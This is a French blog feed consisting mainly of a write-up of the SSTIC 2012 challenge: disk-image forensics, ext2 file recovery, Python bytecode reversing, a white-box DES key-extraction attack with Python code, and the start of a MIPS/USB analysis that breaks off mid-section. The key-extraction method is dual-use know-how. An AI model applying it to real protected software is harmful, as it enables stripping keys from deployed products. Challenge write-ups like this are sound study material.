tag:blogger.com,1999:blog-71331581449681015782024-03-18T21:10:41.941-07:00Security, Toolz and Hacks ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.comBlogger34125tag:blogger.com,1999:blog-7133158144968101578.post-41733000389591388822013-05-14T00:55:00.002-07:002013-05-14T00:55:51.733-07:00DéménagementPar manque de temps je ne peux plus assurer les mises à jour de mon blog, ni de ses plugins, du coup je migre vers <a href="http://hack-and-fun.blogspot.fr/">blogger</a> ! N'hésitez pas si vous remarquez des erreurs, des liens morts ou autre à me les signaler, car j'avoue que la migration c'est faite à l'arrache...<br />
<br />
Contrairement à ce qu'on pourrait croire, ce blog n'est pas mort, même si les mises à jours sont rares :)<br />
<br />
ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com0tag:blogger.com,1999:blog-7133158144968101578.post-87525007497854137432012-06-07T03:50:00.000-07:002013-05-14T00:38:08.197-07:00Challenge SSTIC 2012Pour la première fois cette année, je me suis essayé au <a href="http://communaute.sstic.org/ChallengeSSTIC2012">challenge SSTIC</a>, même si j'étais hors concours... Un défi très intéressant et j'en remercie les auteurs ! Il est possible de trouver ma solution au format pdf <a href="http://www.time0ut.org/repo/challenge/sstic_2012.pdf">ici</a>.<br />
<h3>
Introduction</h3>
Le challenge SSTIC 2012 consistait à retrouver une adresse e-mail dans l'image d'un <a href="http://static.sstic.org/challenge2012/challenge">disque dur</a>. Un challenge très intéressant car il fait appel à divers domaines de compétence, comme le <a href="http://en.wikipedia.org/wiki/Digital_forensics">forensic</a>, la cryptographie ou encore le reverse engeenering. Ci-dessous une liste d'outils existants ayant été utilisés:<br />
<ul>
<li>Les outils de base disponibles dans une distribution Linux</li>
<li> <em><a href="http://www.hex-rays.com/products/ida/index.shtml">IDA</a></em> pour le reverse du code <a href="http://en.wikipedia.org/wiki/MIPS_architecture">MIPS</a></li>
<li> <em>qemu</em> pour émuler une architecture MIPS</li>
<li> <em>emacs</em> pour faire du développement d'outils</li>
<li> <em>python</em></li>
<li> <em>gcc</em></li>
</ul>
<h3>
Analyse du fichier d'entrée</h3>
Le fichier d'entrée appelé <em>challenge.txt</em> n'est en réalité pas un fichier texte mais un fichier compressé avec <em>gzip</em>.<br />
<br />
<pre class="brush:bash">$ file challenge.txt
challenge.txt: gzip compressed data, was "dump.img",
from Unix, last modified: Fri Mar 23 10:11:37 2012
$ mv challenge.txt challenge.gz
$ gunzip challenge.gz
$ file challenge
challenge: x86 boot sector; partition 1: ID=0x83,
active, starthead 1, startsector 63, 2088387 sectors, code offset 0xb8
</pre>
Une fois le fichier décompressé, la commande <em>file</em> nous apprend qu'il s'agit d'une image de disque dur, et qu'elle est à priori bootable.<br />
<br />
La commande <em>fdisk</em> quant à elle nous dit que cette image contient une partition qui commence au 63<sup>e</sup> secteur et qu'elle serait de type Linux.<br />
<br />
<pre class="brush:bash">$ /sbin/fdisk challenge
Command (m for help): p
Disk challenge: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders, total 2097152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xcf660900
Device Boot Start End Blocks Id System
challenge1 * 63 2088449 1044193+ 83 Linux
</pre>
<br />
Comme cette partition commence au 63<sup>e</sup> secteur et que chaque secteur a une taille de 512 octets, il est possible de monter cette partition à l'offset 32256[1. 63*512].<br />
<br />
<pre class="brush:bash">$ mkdir disk
$ sudo mount -o loop,offset=32256 challenge disk
</pre>
<br />
Une fois l'image montée, on remarque qu'il s'agit d'un système Linux tournant sous debian. Le système de fichier est de type <em>ext2</em> et un utilisateur <em>sstic</em> existe sur le système. Plusieurs fichiers intéressants se trouvent dans son arborescence.<br />
<br />
<pre class="brush:bash">$ ls -l disk/home/sstic
total 1,4M
-rw-r--r-- 1 root root 871 mars 23 09:51 irc.log
-rwxr-xr-x 1 root root 1,1M mars 23 09:29 secret
-rwxr-xr-x 1 root root 128 mars 23 09:30 ssticrypt
</pre>
<br />
Le fichier <em>irc.log</em> relate une discussion confidentielle entre <em>lobster_dog</em> et <em>blue_footed_booby</em>. <em>lobster_dog</em> veut protéger ses fichiers de l'infâme <em>lobster_cat</em>. Pour cela il les envoie à <em>blue_footed_booby</em> qui va les chiffrer avec son système révolutionnaire. Les données sont protégées et <em>lobster_dog</em> peut donc les supprimer tranquillement. <br />
<br />
Le problème est que le disque dur bon marché de <em>blue_footed_booby</em> n'est plus tout jeune et rend l'âme. Les données de <em>lobster_dog</em> n'existent donc plus que sous forme chiffrées... sur un disque dur agonisant.<br />
<br />
Les données en question doivent être situées dans le fichier <em>secret</em> du répertoire <em>/home/sstic</em>. Et la méthode de chiffrement de ces données doit se situer dans le fichier <em>ssticrypt</em>.<br />
<br />
Le fichier <em>ssticrypt</em> est un fichier <em>ELF 32-Bit</em> pour architecture <em>MIPS</em>.<br />
<br />
<pre class="brush:bash">$ file disk/home/sstic/ssticrypt
ssticrypt: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically
linked (uses shared libs), stripped
</pre>
L'image doit donc être l'image du disque dur d'une machine <em>MIPS</em>.<br />
<br />
Cependant la taille du fichier <em>ssticrypt</em> est suspecte, seulement 128 octets. Si elle s'avère vraie, le reverse de ce binaire devrait être rapide...<br />
<br />
<pre class="brush:bash">$ readelf -a ssticrypt
readelf: Error: Unable to read in 0x28 bytes of section headers
ELF Header:
Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, big endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x400c40
Start of program headers: 52 (bytes into file)
Start of section headers: 305184 (bytes into file)
Flags: 0x1007, noreorder, pic, cpic, o32, mips1
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 40 (bytes)
Number of section headers: 39
Section header string table index: 36
readelf: Error: Unable to read in 0x618 bytes of section headers
readelf: Error: Section headers are not available!
readelf: Error: Unable to read in 0x100 bytes of program headers
</pre>
<br />
A priori le fichier <em>ssticrypt</em> a été victime de la loi de la tartine de confiture... Le crash du disque dur a eu un impact direct sur ce fichier...<br />
<br />
Après quelques lectures sur les rudiments du fonctionnement de l'<em><a href="http://en.wikipedia.org/wiki/Ext2">ext2</a></em>, il est temps de reconstruire le fichier <em>ssticrypt</em>. Pour cela l'utilitaire <em><a href="http://linux.die.net/man/8/debugfs">debugfs</a></em> est utilisé.<br />
<br />
<pre class="brush:bash">$ dd if=challenge of=partition skip=63 bs=512
2097089+0 enregistrements lus
2097089+0 enregistrements écrits
1073709568 octets (1,1 GB) copiés, 5,27244 s, 204 MB/s
$ sudo debugfs partition -R "stat /home/sstic/ssticrypt"
Inode: 19 Type: regular Mode: 0755 Flags: 0x0
Generation: 163417970 Version: 0x00000000
User: 0 Group: 0 Size: 128
File ACL: 0 Directory ACL: 0
Links: 1 Blockcount: 616
Fragment: Address: 0 Number: 0 Size: 0
ctime: 0x4f6c348c -- Fri Mar 23 09:30:04 2012
atime: 0x4fa78167 -- Mon May 7 10:01:43 2012
mtime: 0x4f6c348c -- Fri Mar 23 09:30:04 2012
Size of extra inode fields: 0
BLOCKS:
(0-11):20480-20491, (IND):20492, (12-75):20493-20556
TOTAL: 77
$ sudo dumpe2fs partition | grep -i "block size"
dumpe2fs 1.42.2 (9-Apr-2012)
Block size: 4096
</pre>
On apprend que le fichier <em>ssticrypt</em> est en réalité composé de 77 blocs, et qu'ils sont contigües ce qui nous arrange vraiment, de plus chaque bloc a une taille de 4096 octets.<br />
<br />
En <em>ext2</em> les 12 premiers blocs sont des blocs directs, donc des blocs de données. Ensuite l'<em>inode</em> contient si besoin un bloc indirect (c'est à dire un bloc qui va pointer sur 256 autres blocs directs), un bloc doublement indirect(qui pointe sur 256 blocs indirects), et enfin un bloc triplement indirect (qui pointe sur 256 blocs doublement indirects). <br />
<br />
En résumé, certains blocs sont des blocs de données, d'autres sont des blocs contenant des pointeurs soit sur des données soit sur d'autres pointeurs. C'est important pour la restauration de notre fichier afin ne pas considérer des pointeurs comme des données.<br />
<br />
Le fichier <em>ssticrypt</em> est composé des blocs 20480 à 20556. Les 12 premiers blocs sont des blocs de données, le 13<sup>e</sup> (bloc 20492) est un bloc indirect et ensuite les blocs 20493 à 20556 sont à nouveau des blocs de données (référencés par le bloc indirect 20492). Il n'y a pas dans ce cas là, de bloc doublement indirect ou triplement indirect. La reconstruction se résume donc à prendre les blocs 20480 à 20491 et les blocs 20493 à 20556.<br />
<br />
Remarque: Le bloc 20556 n'est probablement pas à prendre en totalité, cependant la taille du fichier ayant été altérée il est encore trop tôt pour le dire. Quoiqu'il en soit, cela ne sera pas un frein pour la résolution du challenge.<br />
<br />
<pre class="brush:bash">$ dd if=partition of=ssticrypt_part1 skip=20480 bs=4096 count=12
12+0 enregistrements lus
12+0 enregistrements écrits
49152 octets (49 kB) copiés, 9,4727e-05 s, 519 MB/s
$ dd if=partition of=ssticrypt_part2 skip=20493 bs=4096 count=64
64+0 enregistrements lus
64+0 enregistrements écrits
262144 octets (262 kB) copiés, 0,00036684 s, 715 MB/s
$ cat ssticrypt_part1 ssticrypt_part2 > ssticrypt
</pre>
Remarque: Une solution plus simple aurait été de corriger directement la taille du fichier dans l'inode avec <em>debugfs</em>. Cependant cette méthode permet de mieux comprendre le fonctionnement de l'<em>ext2</em>.<br />
<br />
<pre class="brush:bash">$ readel -a ssticrypt
ELF Header:
Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, big endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x400c40
Start of program headers: 52 (bytes into file)
Start of section headers: 305184 (bytes into file)
Flags: 0x1007, noreorder, pic, cpic, o32, mips1
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 40 (bytes)
Number of section headers: 39
Section header string table index: 36
[...]
00459ecc -32532(gp) 00402b00 00402b00 FUNC UND calloc
00459ed0 -32528(gp) 00000000 00000000 NOTYPE UND _Jv_RegisterClasses
00459ed4 -32524(gp) 00000000 00000000 FUNC UND __gmon_start__
00459ed8 -32520(gp) 00402af0 00402af0 FUNC UND signal
00459edc -32516(gp) 00402ae0 00402ae0 FUNC UND memcmp
00459ee0 -32512(gp) 00402990 00402990 FUNC 11 __libc_csu_fini
00459ee4 -32508(gp) 00402ad0 00402ad0 FUNC UND open
00459ee8 -32504(gp) 00402ac0 00402ac0 FUNC UND sprintf
00459eec -32500(gp) 00402ab0 00402ab0 FUNC UND usb_release_interface
</pre>
Le fichier semble cette fois-ci plus complet. Afin de s'en assurer, nous allons essayer de l'exécuter. Comme c'est un binaire pour architecture <em>MIPS</em> nous allons utiliser <em>qemu</em>. Le kernel <em>vmlinux</em> a été récupéré dans <em>/boot</em> de l'image.<br />
<br />
<pre class="brush:bash">$ qemu-system-mips -kernel vmlinux -hda challenge -append "root=/dev/hda1 rw"
-nographic -monitor stdio -serial pty
char device redirected to /dev/pts/1
QEMU 1.0,1 monitor - type 'help' for more information
(qemu)
</pre>
<br />
Puis dans un autre terminal :<br />
<br />
<pre class="brush:bash">$ screen /dev/pts/1
[...]
[17179572.456000] Kernel panic - not syncing: No init found.
Try passing init= option to kernel.
[...]
</pre>
<br />
Aïe, comme par hasard... un <em>kernel panic</em> sur le <em>init</em>. Ce contre-temps peut être évité en passant <em>init=/bin/bash</em> au démarrage, cependant le système sera assez limité. Après analyse du fichier <em>/sbin/init</em>, on s'aperçoit que comme <em>ssticrypt</em> il a été victime du disque dur bon marché (comme par hasard !). La même méthode est donc utilisée pour le restaurer.<br />
<br />
Remarque: Avant le redémarrage de l'image, le fichier <em>/etc/shadow</em> est modifié afin ne pas à avoir rentrer de mot de passe sur le système.<br />
<br />
<pre class="brush:bash">$ ./ssticrypt
--> SSTICRYPT <-- data-blogger-escaped-br="">usage: ./ssticrypt [-d|-e] <key> <secure container="">
-d: uncrypt
-e: crypt</secure></key><!------>
</pre>
<br />
Le fichier semble fonctionner. Il ne reste plus qu' à comprendre ce qu'il fait.<br />
<br />
Remarque: L'image <em>MIPS</em> a été modifiée pour installer tous les utilitaires digne de ce nom, comme <em>gdb</em>, <em>objdump</em>...<br />
<h4>
ssticrypt à la loupe</h4>
Le fichier <em>ssticrypt</em> est un fichier <em>elf</em> qui n'est pas strippé. Le désassemblage de ce fichier par <em>IDA</em> ne pose aucun problème. Voilà le pseudo code de la fonction principale (avec beaucoup de raccourcis):<br />
<br />
<pre class="brush:python">Main():
mode = "dechiffrement"
Si len(arg) != 4:
exit;
Si len(arg[3]) != 32:
exit;
Si(arg[1]) == "-e":
mode = "chiffrement"
f = open(arg[3]).read()
i = 0
Si mode == "dechiffrement":
md5 = f[:16]
Si md5sum(f[16:]) != md5:
Warning !
i = 16
buf = f[i:]
key_part1 = arg[2][:16]
key_part2 = arg[2][16:]
Verif_coincoin()
Si mode == "dechiffrement":
check_key(key_part1,1)
check_key(key_part2,2)
Transform_XOR(buf)
buf = RC4(key,buf)
Si mode == "chiffrement":
Transform_XOR-1(buf)
buf = md5sum(buf)+buf
EcritBuf(buf,mode)
</pre>
<br />
Le programme <em>ssticrypt</em> permet donc de chiffrer ou de déchiffrer un fichier avec l'algorithme <em>RC4</em> et une clé passée en paramètre de 32 octets (modulo une transformation à base de <em>XOR</em>). En cas de chiffrement, un <em>md5</em> est inséré au début du fichier et porte sur tout le reste du fichier. <br />
<br />
En cas de déchiffrement deux vérifications sont faites sur la clé fournie, une première sur les 16 premiers octets et une seconde sur les 16 derniers.<br />
<br />
Deux informations sont ici importantes : La première est que s'il nous est possible de chiffrer un fichier avec n'importe quelle clé, il nous sera impossible de le déchiffrer si nous n'avons pas la clé attendue. La deuxième est que les 16 premiers octets du fichiers secret sont le <em>md5</em> du fichier secret (moins les 16 premiers octets). Nous pouvons donc immédiatement faire cette vérification.<br />
<br />
<pre class="brush:bash">$ dd if=secret bs=1 count=16 | hexdump -C
16+0 records in
16+0 records out
16 bytes (16 B) copied, 0.00335965 s, 4.8 kB/s
00000000 b8 4d b9 ec 23 52 4e 4e 55 77 03 fb 55 df c0 83 |.M..#RNNUw..U...|
00000010
$ dd if=secret skip=16 | md5sum
2032+1 records in
2032+1 records out
1040400 bytes (1.0 MB) copied, 0.0515589 s, 20.2 MB/s
94a509d51d73e9bc690eefb133dc4d18 -
</pre>
Et bien non, le <em>md5</em> ne marche pas... (comme par hasard encore une fois...).<br />
<h4>
secret à la loupe</h4>
La même méthode que pour <em>ssticrypt</em> ne peut pas ici être utilisée, car la taille donnée par <em>debugfs</em> est supérieure au nombre de block.<br />
<br />
<pre class="brush:bash">$ sudo debugfs partition -R "stat /home/sstic/secret"
Inode: 14 Type: regular Mode: 0755 Flags: 0x0
Generation: 163417969 Version: 0x00000000
User: 0 Group: 0 Size: 1048592
File ACL: 0 Directory ACL: 0
Links: 1 Blockcount: 2064
Fragment: Address: 0 Number: 0 Size: 0
ctime: 0x4f6c3483 -- Fri Mar 23 09:29:55 2012
atime: 0x4fa78164 -- Mon May 7 10:01:40 2012
mtime: 0x4f6c3483 -- Fri Mar 23 09:29:55 2012
Size of extra inode fields: 0
BLOCKS:
(0-2):26625-26627
TOTAL: 3
</pre>
<br />
Faisons la supposition que la taille est correcte et que les blocs constituant secret sont contigües. Il faut 257 blocs de données (<em>ndlr : 1048592/4096</em>) pour contenir le fichier <em>secret</em>. Comme le 13<sup>e</sup> bloc est un bloc indirect, il faut prendre 258 blocs en partant du bloc 26625 et sauter le bloc 26637. Seuls les 16 (<em>ndlr : 1048592%4096</em>) premiers octets du dernier bloc devront être pris.<br />
<br />
<pre class="brush:bash">$ dd if=partition bs=4096 skip=26625 count=12 of=secret_part1
$ dd if=partition bs=4096 skip=$((26625+13)) count=$((256-12)) of=secret_part2
$ dd if=partition bs=4096 skip=$((26625+257)) count=1 of=secret_last_bloc
$ head -c 16 secret_last_bloc > secret_part3
$ cat secret_part1 secret_part2 secret_part3 > secret
$ tail -c +17 secret | md5sum
b84db9ec23524e4e557703fb55dfc083 -
</pre>
Notre supposition était donc bonne. Le fichier <em>secret</em> est maintenant correct. Plus qu'à trouver la clé pour le déchiffrer.<br />
<br />
La vérification de la clé pour le déchiffrement se fait via la fonction <em>check_key</em>.<br />
<h3>
Dans les méandres d'une White Box DES en python</h3>
Les 16 premiers octets de la clé sont vérifiés grâce à un programme <em>python</em> embarqué dans <em>ssticrypt</em>.<br />
<h4>
Reverse de bytecode Python</h4>
Le programme <em>python</em> est extrait par <em>check_key</em> dans le répertoire courant, exécuté avec en paramètre les 16 premiers octets de la clé, puis supprimé. L'extraction peut soit se faire en évitant la suppression après l'exécution, soit en le récupérant directement dans <em>ssticrypt</em> (se référer au <em>readelf -a</em> pour les offsets).<br />
<br />
<pre class="brush:bash">$ dd if=ssticrypt of=check.pyc bs=1 skip=$((0x413030-0x413020+0x3020))
count=$((0x4457d))
279933+0 enregistrements lus
279933+0 enregistrements écrits
279933 octets (280 kB) copiés, 0,325456 s, 860 kB/s
$ file check.pyc
check.pyc: python 2.5 byte-compiled
</pre>
Bien entendu c'est du bytecode <em>python</em> et le code source n'est pas fourni... Après avoir exploré une partie du net et avoir testé une bonne grosse quantité d'outils permettant d'avoir un code source à partir d'un bytecode <em>python</em> (<em>unpyc</em>, <em>uncompyle</em>, <em>unpyc3</em>, <em>uncompyle2</em>, <em>UnPyc</em>, <em>decompyle</em>, <em>byteplay</em>...), force est de constater qu'aucun n'a fonctionné réellement correctement.<br />
<br />
Seule la librairie <em><a href="http://docs.python.org/library/marshal.html">marshal</a></em> inclue de base dans python a été utilisée :<br />
<br />
<pre class="brush:python">[...]
def show_code(code, indent=''):
print "%scode" % indent
indent += ' '
print "%sargcount %d" % (indent, code.co_argcount)
print "%snlocals %d" % (indent, code.co_nlocals)
print "%sstacksize %d" % (indent, code.co_stacksize)
print "%sflags %04x" % (indent, code.co_flags)
show_hex("code", code.co_code, indent=indent)
dis.disassemble(code)
print "%sconsts" % indent
for const in code.co_consts:
if type(const) == types.CodeType:
show_code(const, indent+' ')
else:
print " %s%r" % (indent, const)
print "%snames %r" % (indent, code.co_names)
print "%svarnames %r" % (indent, code.co_varnames)
print "%sfreevars %r" % (indent, code.co_freevars)
print "%scellvars %r" % (indent, code.co_cellvars)
print "%sfilename %r" % (indent, code.co_filename)
print "%sname %r" % (indent, code.co_name)
print "%sfirstlineno %d" % (indent, code.co_firstlineno)
show_hex("lnotab", code.co_lnotab, indent=indent)
[...]
</pre>
<br />
Le code produit par cette librairie est certes loin de s'approcher du code source :<br />
<br />
<pre class="brush:plain">[...]
276 CALL_FUNCTION 1
279 STORE_NAME 27 (WT)
50101 282 LOAD_NAME 28 (len)
285 LOAD_NAME 6 (sys)
288 BUILD_MAP 29
291 CALL_FUNCTION 1
294 LOAD_CONST 23 (1)
297 LOAD_ATTR 2 (log)
300 JUMP_IF_FALSE_OR_POP 19
303 POP_TOP
50102 304 LOAD_CONST 24 ('Usage: python check.pyc <key>')
307 PRINT_ITEM
308 PRINT_NEWLINE
50103 309 LOAD_CONST 25 (' - key: a 64 bits hexlify-ed string')
312 PRINT_ITEM
313 PRINT_NEWLINE
50104 314 LOAD_CONST 26 ('Example: python check.pyc 0123456789abcdef')
317 PRINT_ITEM
318 PRINT_NEWLINE
319 JUMP_FORWARD 159 (to 481)
322 POP_TOP
[...]
</pre>
<br />
Mais avec une bonne (grosse) dose de motivation et <a href="http://unpyc.sourceforge.net/Opcodes.html">une bonne documentation</a> il est possible d'obtenir un code source fidèle.<br />
<br />
L'analyse de ce code source montre la définition d'une classe <em>Bit</em>, l'implémentation de l'algorithme symétrique <em>DES</em> et la définition d'une classe appelée <em>WhiteDES</em>. L'objectif est de trouver la clé qui quel que soit le message en clair, produira le même chiffré avec l'algorithme <em>DES</em> qu'avec la classe <em>WhiteDES</em>. Cette dernière étant configurée avec des tables contenues dans des objets <em>pickles</em> de taille suffisamment grande pour faire ramer la plupart des éditeurs de texte...<br />
<br />
Après quelques recherches sur internet, on trouve rapidement un papier très intéressant décrivant le fonctionnement d'une <em><a href="http://crypto.stanford.edu/DRM2002/whitebox.pdf">White-Box DES</a></em>.<br />
<h4>
White-Box DES</h4>
La supposition est faite ici que le lecteur connait le fonctionnement de l'algorithme <em>DES</em>.<br />
<h5>
Principe</h5>
L'objectif d'une <em>White-Box DES</em> est d'implémenter l'algorithme <em>DES</em> avec une clé fixe. Cette implémentation doit ou devrait faire en sorte que l'extraction de cette clé soit impossible. <br />
<br />
Le principe est de modifier l'ensemble des <em>SBOX DES</em> originales par des <em>TBOX</em> qui produiront le même résultat que les <em>SBOX</em> associées à une clé fixe. Pour rendre le procédé plus robuste à des attaques statistiques, les <em>TBOX</em> sont rendues bijectives en modifiant la quantité d'informations qu'elles traitent (entrée) et la quantité d'information qu'elles produisent (sortie). Pour des besoins d'implémentation et de sécurité, 4 <em>TBOX</em> supplémentaires sont ajoutées ne correspondant pas directement à des <em>SBOX</em>.<br />
<br />
Enfin des transformations d'initialisation (<em>M1</em>), à la fin de chaque tour (<em>M2</em>) et à la fin du process entier (<em>M3</em>) sont mise en place pour effectuer des permutations, des expansions/réductions de données, des mélanges de <em>TBOX</em> et aussi pour des besoins d'implémentation.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV4RKEU9iodKwS2k4gqDPfL_AXTo60GntIcqRQPV9Kh5cSUJgnMoGNMSKAHm-2ILSkz_ttr7dBiTLp8AI_5hFiggGmlKVgskkVvk-DD5KnXPGx51c__7QcKWIBlb5n0ANxWqXtCXKMuLw/s1600/whitebox_implementation.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="381" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV4RKEU9iodKwS2k4gqDPfL_AXTo60GntIcqRQPV9Kh5cSUJgnMoGNMSKAHm-2ILSkz_ttr7dBiTLp8AI_5hFiggGmlKVgskkVvk-DD5KnXPGx51c__7QcKWIBlb5n0ANxWqXtCXKMuLw/s400/whitebox_implementation.png" width="400" /></a></div>
<div style="text-align: justify;">
Dans l'implémentation de cette <em>WhiteBox</em>, les seules données dépendantes de la clé sont les <em>TBOX</em> correspondantes aux <em>SBOX</em>. Même si les transformations (<em>M1</em>, <em>M2</em>, <em>M3</em>) sont importantes pour le bon fonctionnement de l'algorithme, elles n'ont pas de lien direct avec la clé recherchée et peuvent donc être ignorées dans l'attaque qui sera menée. Un élément toutefois important produit par ces transformations est le mélange des <em>TBOX</em>. La <em>TBOX i</em> ne correspond pas forcément à la <em>SBOX i</em>.</div>
<h5>
Construction d'une <em>TBOX</em></h5>
Pour attaquer une <em>WhiteBox</em> il est important de comprendre comment sont constituées les <em>TBOX</em>.<br />
<br />
Chaque <em>SBOX S</em> est remplacée par une <em>SBOX Sk</em> qui produirait le même résultat que <em>S</em> si <em>S</em> était utilisée avec la clé <em>K</em>. Ajouté à cela, chaque <em>SBOX</em> qui prend normalement 6 bits en entrée et produit 4 bits en sortie, est modifiée pour prendre 2 bits supplémentaires en entrée et produire 8 bits en sortie.<br />
<br />
Pour une <em>TBOX</em> les 8 bits d'entrée se décomposent donc de la façon suivante :<br />
<ul>
<li>les 6 bits de poids fort sont les bits d'entrée de la SBOX correspondante</li>
<li>les 2 bits de poids faible sont 2 bits supplémentaires[2. La source de ces bits n'est pas importante pour notre besoin]</li>
</ul>
De la même façon, les 8 bits de sorties se décomposent de la façon suivante:<br />
<ul>
<li>les 4 bits de poids fort sont les bits de sortie de la <em>SBOX</em> correspondante</li>
<li>les 2 bits suivants sont le bits de poids fort et le bit de poids faible des 6 bits d'entrée de la <em>SBOX</em> correspondante</li>
<li>les 2 bits de poids faible sont les 2 bits supplémentaires ajoutée en entrée de la <em>TBOX</em></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5xp_A2hIipFmA4YjcGlHMlO-gukc8yLSS9KaITvmifTLiNW0YVQhemcAOCv8QoG5qbc0P4aFwz5G3xrCltZEgD0tTQP9ncGWj1VEmTjVjuYVwivRLLgZKhkKEX_q2e-TJrR1pTubG2I/s1600/tbox.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5xp_A2hIipFmA4YjcGlHMlO-gukc8yLSS9KaITvmifTLiNW0YVQhemcAOCv8QoG5qbc0P4aFwz5G3xrCltZEgD0tTQP9ncGWj1VEmTjVjuYVwivRLLgZKhkKEX_q2e-TJrR1pTubG2I/s400/tbox.png" width="400" /></a></div>
<h5>
Attaque sur la WhiteBox</h5>
Comme dit précédemment, chaque <em>SBOX</em> prend en entrée 6 Bits. Ces 6 bits, sont <em>xorés</em> avec 6 bits de la clé puis produisent 4 bits. Cette sortie sera égale aux 4 premiers bits de la sortie de la <em>TBOX</em> correspondante.<br />
<br />
Il est donc possible de tester l'ensemble des clés en entrée d'une <em>SBOX</em>, et de vérifier quelle clé produit les mêmes résultats qu'une <em>TBOX</em>. Si le résultat correspond, alors la <em>TBOX</em> peut correspondre à la <em>SBOX</em> testée et la clé est un candidat possible. Il suffit de réitérer la manipulation avec des messages différents jusqu'à qu'il n'y ait plus qu'une seule clé candidate.<br />
<br />
<pre class="brush:python">[...]
def break_sbox_key(wt,sbox):
""" Casse la sous clé de la sbox correspondant à la WhiteBox wt """
# Pour toute les clés possible
for k in xrange(64):
tbox = range(12)
bad_key = False
for m in xrange(64):
M = Bits(m,6)
res_sbox = SBOX(M,k,sbox)
for i in xrange(4):
M2 = M//Bits(i,2)
good_tbox = []
for ntbox in tbox:
res_tbox = wt.KT[0][ntbox][M2.ival]
if Bits(res_tbox,8)[0:4] == res_sbox:
good_tbox.append(ntbox)
tbox = good_tbox
if len(tbox) == 0:
bad_key = True
break
if bad_key: break
if not bad_key: return Bits(k,6)
return None
[...]
</pre>
Cette manipulation permet de récupérer 6 bits de la clé <em>DES</em> par <em>SBOX</em>, donc au total 48 bits. Les 8 bits restants seront trouvés par bruteforce.<br />
<br />
Le résultat final produit la clé <em>fd4185ff66a94afd</em> qui représente la première moitié de la clé <em>RC4</em> recherchée.<br />
<h3>
Analyse du MIPS</h3>
La deuxième partie de la clé est vérifiée par un mécanisme tout autre, l'intérrogation d'un périphérique USB, comme le montre les appels à <em>usb_get_bus</em> et <em>usb_ctrl_msg</em>. Les librairies utilisées par <em>ssticrypt</em> confirment que le programme utilise la <a href="http://libusb.sourceforge.net/doc/index.html">libusb</a>.<br />
<br />
<pre class="brush:bash">$ ldd ssticrypt
libssl.so.0.9.8 => /usr/lib/libssl.so.0.9.8 (0x2aada000)
libusb-0.1.so.4 => /lib/libusb-0.1.so.4 (0x2ab37000)
libc.so.6 => /lib/libc.so.6 (0x2ab4f000)
libcrypto.so.0.9.8 => /usr/lib/libcrypto.so.0.9.8 (0x2acc4000)
libdl.so.2 => /lib/libdl.so.2 (0x2ae44000)
libz.so.1 => /usr/lib/libz.so.1 (0x2ae58000)
/lib/ld.so.1 (0x2aaa8000)
</pre>
<br />
<div style="text-align: justify;">
La fonction <em>check_key</em> pour la deuxième partie de la clé, commence par initialiser une zone mémoire de 4096 octets (qui sera appelée <em>RAM</em> dans la suite de ce document) puis recherche un périphérique USB avec les identificats <em>0x41c 0x9d</em>. Une fois ce périphérique trouvé, 2 buffers embarqués dans <em>ssticrypt</em> lui sont envoyés : <em>init.rom</em> et <em>stage2.rom</em>. Enfin la fonction <em>vicpwn_handle</em> est appelée avec en paramètre la deuxième partie de la clé. Cette fonction sera responsable du refus ou non de notre clé.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<u>Remarque</u>: Tous les détails d'implémentation comme les allocations, libération mémoire, inversion d'octets... non directement nécessaire à la compréhension du problème seront ignorés (même si bien entendu ils ne l'ont pas été pour la résolution).</div>
<h4>
Fonction vicpwn_handle</h4>
La fonction <em>vicpwn_handle</em> a une boucle principale pouvant faire au maximum 3 tours. A chaque tour, des données embarquées dans <em>ssticrypt</em> et appelées <em>layer</em> sont chargées dans la RAM (<em>load_layer</em>). Une partie de la clé est elle aussi chargée dans la <em>RAM</em> (<em>set_my_key</em>).<br />
<br />
Ensuite intervient une boucle secondaire, qui va communiquer avec le périphérique USB. A chaque tour de cette boucle, <em>vicpwn_handle</em> va envoyer une partie de la <em>RAM</em> au périphérique et se mettre en attente d'une réponse de 20 octets. Une fois celle-ci reçue, les 16 premiers octets seront considérés comme des données à écrire dans la RAM à l'adresse contenu dans les 16 et 17<sup>e</sup> octet. Les octets 18 et 19 seront eux considérés comme l'adresse des 20 octets suivants en <em>RAM</em> dont le périphérique a besoin.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
